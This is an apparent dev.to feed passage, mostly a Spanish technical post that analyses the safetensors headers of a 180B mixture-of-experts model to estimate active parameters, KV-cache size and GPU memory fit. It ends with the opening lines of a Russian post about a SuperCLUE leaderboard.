&lt;td&gt;Huecos entre tensores consecutivos dentro de un shard&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nombres en &lt;code&gt;model.safetensors.index.json&lt;/code&gt; frente a nombres en cabeceras&lt;/td&gt;
&lt;td&gt;1.658 y 1.658, conjuntos idénticos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tensores cuyo shard en el índice difiere del shard real&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;La primera es la más útil para detectar descargas truncadas o subidas incompletas: si el archivo tiene menos bytes que los que anuncia su cabecera, el shard está cortado. Para obtener el tamaño remoto usa &lt;code&gt;GET /api/models/&amp;lt;repo&amp;gt;?blobs=true&lt;/code&gt;, que devuelve &lt;code&gt;size&lt;/code&gt; y &lt;code&gt;lfs.sha256&lt;/code&gt; por archivo.&lt;/p&gt;

&lt;p&gt;Las cabeceras no demuestran que el contenido sea el correcto, solo que es estructuralmente consistente. Para el contenido existe el hash. Como prueba, bajé el shard más pequeño (&lt;code&gt;model-00001-of-00131.safetensors&lt;/code&gt;, 1.040.155.944 bytes), calculé su SHA-256 en streaming y lo comparé con el &lt;code&gt;lfs.sha256&lt;/code&gt; de la API: coincide (&lt;code&gt;db4dbc41ff71...&lt;/code&gt;). Si vas a descargar los 131, haz esa misma comparación shard por shard; es una sola línea con &lt;code&gt;hashlib&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Dónde están los 180B parámetros de un MoE de 512 expertos?
&lt;/h2&gt;

&lt;p&gt;Los números de arriba tienen una lectura directa. Cada capa tiene un tensor fusionado &lt;code&gt;experts.gate_up_proj&lt;/code&gt; de forma &lt;code&gt;[512, 1280, 2560]&lt;/code&gt; y un &lt;code&gt;experts.down_proj&lt;/code&gt; de forma &lt;code&gt;[512, 2560, 640]&lt;/code&gt;. Con 48 capas salen 120.795.955.200 parámetros, es decir, 2.516.582.400 por capa y 4.915.200 por experto (3 x 2560 x 640). El router elige 10 de los 512 expertos por token.&lt;/p&gt;

&lt;p&gt;El segundo bloque llama la atención: 51,8 mil millones de parámetros, el 28,8 %, no son capas de cómputo. Son 128 tablas &lt;code&gt;ngram_embedding&lt;/code&gt; de forma &lt;code&gt;[2.500.012, 160]&lt;/code&gt; (51.200.245.760 parámetros, el 28,4 % del total) más el embedding de tokens. Por su forma y su nombre son tablas de consulta por fila: un token lee unas pocas filas, no multiplica la tabla entera. Para quien planifica memoria esto importa: esos 103,7 GB en BF16 tienen que estar residentes, pero no consumen ancho de banda en cada paso de decodificación como lo haría una capa densa del mismo tamaño.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuántos parámetros trabajan realmente en cada token?
&lt;/h2&gt;

&lt;p&gt;La ficha del modelo indica 10 expertos activos por token, pero no publica una cifra de parámetros activos. Con los tamaños de tensor puedo estimarla (es mi cálculo, no una cifra oficial):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;expertos_activos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;120_795_955_200&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;      &lt;span class="c1"&gt;# 2.359.296.000
&lt;/span&gt;&lt;span class="n"&gt;con_computo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expertos_activos&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;617_358_336&lt;/span&gt;      &lt;span class="c1"&gt;# atención completa
&lt;/span&gt;               &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2_086_510_464&lt;/span&gt;                     &lt;span class="c1"&gt;# atención lineal
&lt;/span&gt;               &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;236_052_480&lt;/span&gt;                       &lt;span class="c1"&gt;# experto compartido
&lt;/span&gt;               &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;635_699_200&lt;/span&gt;                       &lt;span class="c1"&gt;# lm_head
&lt;/span&gt;               &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;736_378_915&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;# otros
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;con_computo&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;  (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;con_computo&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;179_999_981_459&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; % del total)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# salida: 6,671,295,395  (3.71 % del total)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Son unos 6,67 mil millones de parámetros con cómputo por token en la ruta de texto (sin la capa MTP ni la visión), un 3,7 % del total. Para un decodificador de una sola secuencia, el límite superior de velocidad lo da el ancho de banda de memoria dividido por los bytes que se leen por token:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Precisión&lt;/th&gt;
&lt;th&gt;GB leídos por token&lt;/th&gt;
&lt;th&gt;Límite con 100 GB/s&lt;/th&gt;
&lt;th&gt;Límite con 400 GB/s&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BF16&lt;/td&gt;
&lt;td&gt;13,3&lt;/td&gt;
&lt;td&gt;7,5 tok/s&lt;/td&gt;
&lt;td&gt;30,0 tok/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;~4,5 bits por peso&lt;/td&gt;
&lt;td&gt;3,75&lt;/td&gt;
&lt;td&gt;26,6 tok/s&lt;/td&gt;
&lt;td&gt;106,6 tok/s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Son cotas teóricas ilustrativas (ignoran la lectura de las tablas de embeddings, el solapamiento de expertos entre tokens, la activación y la sobrecarga del motor). La ficha del modelo reporta, para el GGUF de 4 bits de 111 GB (POCKET-Darwin-180B-GGUF), entre 18 y 21 tok/s solo con CPU: es una cifra de la ficha, que no medí aquí, y cae dentro de la cota de 26,6 tok/s que sale de esta cuenta con 100 GB/s.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánta memoria de caché K/V necesita un contexto de 262.144 tokens?
&lt;/h2&gt;

&lt;p&gt;Aquí el diseño híbrido marca la diferencia. En &lt;code&gt;config.json&lt;/code&gt;, &lt;code&gt;layer_types&lt;/code&gt; alterna tres capas &lt;code&gt;linear_attention&lt;/code&gt; con una &lt;code&gt;full_attention&lt;/code&gt; (&lt;code&gt;full_attention_interval = 4&lt;/code&gt;), así que solo 12 de las 48 capas guardan K/V que crece con el contexto. Con &lt;code&gt;num_key_value_heads = 2&lt;/code&gt;, &lt;code&gt;head_dim = 256&lt;/code&gt; y BF16:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;capas_completas&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kv_heads&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;head_dim&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bytes_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;por_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;capas_completas&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;kv_heads&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;head_dim&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;bytes_&lt;/span&gt;    &lt;span class="c1"&gt;# K y V
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;por_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;por_token&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;262_144&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# salida: 24576 6.0   (bytes por token, GiB por secuencia)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Son 24 KiB por token y 6,0 GiB por secuencia de 262.144 tokens. Si las 48 capas usaran atención completa serían 24 GiB.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Atenci%255Cu00f3n%2520completa%2520en%2520las%252048%2520capas%2520%2528hipot%255Cu00e9tico%2529%2522%252C%2522H%255Cu00edbrido%2520real%253A%252012%2520capas%2520completas%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522GiB%2520por%2520secuencia%2522%252C%2522data%2522%253A%255B24.0%252C6.0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%252316a34a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Cach%255Cu00e9%2520K%2FV%2520a%2520262.144%2520tokens%252C%2520BF16%252C%2520una%2520secuencia%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522GiB%2520por%2520secuencia%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Atenci%255Cu00f3n%2520completa%2520en%2520las%252048%2520capas%2520%2528hipot%255Cu00e9tico%2529%2522%252C%2522H%255Cu00edbrido%2520real%253A%252012%2520capas%2520completas%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522GiB%2520por%2520secuencia%2522%252C%2522data%2522%253A%255B24.0%252C6.0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%252316a34a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Cach%255Cu00e9%2520K%2FV%2520a%2520262.144%2520tokens%252C%2520BF16%252C%2520una%2520secuencia%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522GiB%2520por%2520secuencia%2522%257D%257D%255D%257D%257D%257D" alt="Caché K/V por secuencia" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Las 36 capas de atención lineal guardan un estado de tamaño fijo. Suponiendo el diseño habitual &lt;code&gt;[cabezas de valor, dim clave, dim valor]&lt;/code&gt; en float32 (48 x 128 x 128 x 4 bytes = 3,1 MB por capa, más un estado de convolución de 61 KB), son unos 115 MB por secuencia, independientes de la longitud. Esa suposición del layout del estado es mía; el resultado cambia poco el total porque el término dominante es el K/V de las 12 capas completas. Esta cuenta no incluye el índice de atención dispersa (&lt;code&gt;indexer_*&lt;/code&gt;) ni la capa MTP, así que trátala como el K/V principal, no como el total exacto de un motor concreto.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cabe en mi GPU? Una calculadora de memoria
&lt;/h2&gt;

&lt;p&gt;Con los pesos (359.999.962.918 bytes según &lt;code&gt;model.safetensors.index.json&lt;/code&gt;) y el coste por secuencia (6,56 GB entre K/V y estados) se arma una calculadora corta:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;secuencias_completas&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n_gpu&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gb_por_gpu&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uso&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pesos_gb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;360.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seq_gb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;6.558&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;libre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n_gpu&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;gb_por_gpu&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;uso&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;pesos_gb&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;libre&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;seq_gb&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gb&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8xH100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4xH200&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;141&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4xB200&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2xB200&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;secuencias_completas&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gb&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuración&lt;/th&gt;
&lt;th&gt;Memoria utilizable (90 %)&lt;/th&gt;
&lt;th&gt;Tras cargar los pesos&lt;/th&gt;
&lt;th&gt;Secuencias de 262k&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8 x H100 80 GB&lt;/td&gt;
&lt;td&gt;576,0 GB&lt;/td&gt;
&lt;td&gt;216,0 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 x H200 141 GB&lt;/td&gt;
&lt;td&gt;507,6 GB&lt;/td&gt;
&lt;td&gt;147,6 GB&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 x B200 192 GB&lt;/td&gt;
&lt;td&gt;691,2 GB&lt;/td&gt;
&lt;td&gt;331,2 GB&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 x B200 192 GB&lt;/td&gt;
&lt;td&gt;345,6 GB&lt;/td&gt;
&lt;td&gt;no caben los pesos en BF16&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%25228%2520x%2520H100%252080%2520GB%2522%252C%25224%2520x%2520H200%2520141%2520GB%2522%252C%25224%2520x%2520B200%2520192%2520GB%2522%252C%25222%2520x%2520B200%2520192%2520GB%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522secuencias%2520completas%2520simult%255Cu00e1neas%2522%252C%2522data%2522%253A%255B32%252C22%252C50%252C0%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%25232563eb%2522%252C%2522%252316a34a%2522%252C%2522%2523dc2626%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Secuencias%2520de%2520262k%2520tokens%2520que%2520caben%2520con%2520los%2520pesos%2520en%2520BF16%2520%252890%2520%2525%2520de%2520memoria%252C%2520estimaci%255Cu00f3n%2529%2522%252C%2522fontSize%2522%253A15%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522secuencias%2520completas%2520simult%255Cu00e1neas%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%25228%2520x%2520H100%252080%2520GB%2522%252C%25224%2520x%2520H200%2520141%2520GB%2522%252C%25224%2520x%2520B200%2520192%2520GB%2522%252C%25222%2520x%2520B200%2520192%2520GB%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522secuencias%2520completas%2520simult%255Cu00e1neas%2522%252C%2522data%2522%253A%255B32%252C22%252C50%252C0%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%25232563eb%2522%252C%2522%252316a34a%2522%252C%2522%2523dc2626%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Secuencias%2520de%2520262k%2520tokens%2520que%2520caben%2520con%2520los%2520pesos%2520en%2520BF16%2520%252890%2520%2525%2520de%2520memoria%252C%2520estimaci%255Cu00f3n%2529%2522%252C%2522fontSize%2522%253A15%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522secuencias%2520completas%2520simult%255Cu00e1neas%2522%257D%257D%255D%257D%257D%257D" alt="Secuencias de 262k por configuración" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Esto es una estimación de planificación: descuenta pesos, K/V y estados, y deja el 10 % restante para activaciones, grafos CUDA y fragmentación. La receta de la ficha usa &lt;code&gt;--tensor-parallel-size 8 --enable-expert-parallel&lt;/code&gt;, que corresponde a la primera fila. Para menos memoria, la ficha enlaza la versión GGUF de 4 bits (111 GB) en lugar de BF16.&lt;/p&gt;

&lt;h2&gt;
  
  
  Alcance de las cifras
&lt;/h2&gt;

&lt;p&gt;Todo el análisis sale de metadatos públicos y de un hash comprobado, medido el 2026-11-09. No ejecuté inferencia, así que no hay aquí ningún dato de calidad ni de velocidad medida; las velocidades son cotas teóricas y la cifra de la ficha se atribuye a la ficha. La clasificación de tensores por nombre es una heurística mía (los nombres siguen la convención del repositorio) y la cuadratura exacta con el total de la API la respalda. Lo que sí puedes hacer es repetir el script y obtener los mismos números.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Puedo leer las cabeceras safetensors sin descargar el archivo completo?&lt;/strong&gt;&lt;br&gt;
Sí. Pide &lt;code&gt;bytes=0-7&lt;/code&gt; para obtener el largo &lt;code&gt;n&lt;/code&gt; de la cabecera y luego &lt;code&gt;bytes=8-(8+n-1)&lt;/code&gt; para leer el JSON. En este modelo, las 131 cabeceras suman 229.760 bytes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué diferencia hay entre parámetros totales y parámetros activos en un MoE?&lt;/strong&gt;&lt;br&gt;
El total cuenta todos los expertos (aquí 512 por capa); el activo cuenta los que procesan cada token (aquí 10 por capa, más la atención y el experto compartido). Por la forma de los tensores, en R3 son unos 6,67 mil millones de parámetros con cómputo por token, frente a 180 mil millones almacenados.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cómo detecto una descarga truncada?&lt;/strong&gt;&lt;br&gt;
Compara &lt;code&gt;8 + n + max(data_offsets[1])&lt;/code&gt; con el tamaño del archivo. Si no coinciden, el shard está incompleto. Después verifica el SHA-256 con el valor &lt;code&gt;lfs.sha256&lt;/code&gt; de la API.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué la caché K/V es tan pequeña a 262k tokens?&lt;/strong&gt;&lt;br&gt;
Porque solo 12 de las 48 capas son de atención completa; las otras 36 son de atención lineal con estado fijo. Resultado: 24 KiB por token y 6,0 GiB por secuencia, frente a 24 GiB si todas las capas fueran de atención completa.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Sirve este método para otros modelos de Hugging Face?&lt;/strong&gt;&lt;br&gt;
Sí, para cualquier repositorio con &lt;code&gt;safetensors&lt;/code&gt;. Solo cambian el nombre del repo y, si quieres clasificar parámetros, las reglas de &lt;code&gt;tipo()&lt;/code&gt; según la arquitectura.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/un-moe-de-180b-en-un-portatil-de-32-gb-el-cuello-de-botella-es-el-ssd-no-la-cpu-ni-la-gpu-a9"&gt;Un MoE de 180B en un portátil de 32 GB: el cuello de botella es el SSD, no la CPU ni la GPU&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/como-correr-un-modelo-de-180b-sin-gpu-pocket-darwin-180b-en-gguf-con-llamacpp-1m56"&gt;Cómo correr un modelo de 180B sin GPU: POCKET-Darwin-180B en GGUF con llama.cpp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>llm</category>
      <category>huggingface</category>
    </item>
    <item>
      <title>Оценка, которая каждый месяц пишет новый экзамен: ноябрьская таблица SuperCLUE 2026, 19 моделей в одной таблице</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 08 Nov 2026 03:18:58 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/otsienka-kotoraia-kazhdyi-miesiats-pishiet-novyi-ekzamien-noiabrskaia-tablitsa-superclue-2026-19-modieliei-v-4364</link>
      <guid>https://dev.to/_0e3192755d4df45b92/otsienka-kotoraia-kazhdyi-miesiats-pishiet-novyi-ekzamien-noiabrskaia-tablitsa-superclue-2026-19-modieliei-v-4364</guid>
      <description>&lt;h2&gt;
  
  
  Откуда у SuperCLUE вес
&lt;/h2&gt;

&lt;p&gt;Из двух вещей: экзамен переписывают каждый месяц, и его не публикуют.&lt;/p&gt;

